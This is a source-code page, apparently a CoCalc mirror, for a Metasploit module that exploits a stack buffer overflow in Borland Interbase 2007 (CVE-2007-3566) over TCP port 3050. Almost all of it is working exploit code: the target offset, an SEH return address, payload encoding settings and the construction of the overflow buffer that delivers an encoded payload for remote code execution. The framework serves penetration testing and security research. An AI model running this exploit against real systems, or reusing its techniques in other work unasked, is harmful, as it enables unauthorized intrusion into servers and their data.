CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/borland_interbase.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Borland Interbase Create-Request Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Borland Interbase 2007.
16
By sending a specially crafted create-request packet, a remote
17
attacker may be able to execute arbitrary code.
18
},
19
'Author' => 'MC',
20
'References' =>
21
[
22
[ 'CVE', '2007-3566' ],
23
[ 'OSVDB', '38602' ],
24
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
25
],
26
'DefaultOptions' =>
27
{
28
'EXITFUNC' => 'thread',
29
'AllowWin32SEH' => true
30
},
31
'Payload' =>
32
{
33
'Space' => 850,
34
'BadChars' => "\x00",
35
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
36
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
42
],
43
'Privileged' => true,
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2007-07-24'))
46
47
register_options([Opt::RPORT(3050)])
48
end
49
50
def exploit
51
connect
52
53
# Build the exploit buffer.... It's a biggie!
54
sploit = "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
55
sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
56
sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)
57
58
print_status("Trying target #{target.name}...")
59
sock.put(sploit)
60
61
handler
62
disconnect
63
end
64
end
65
66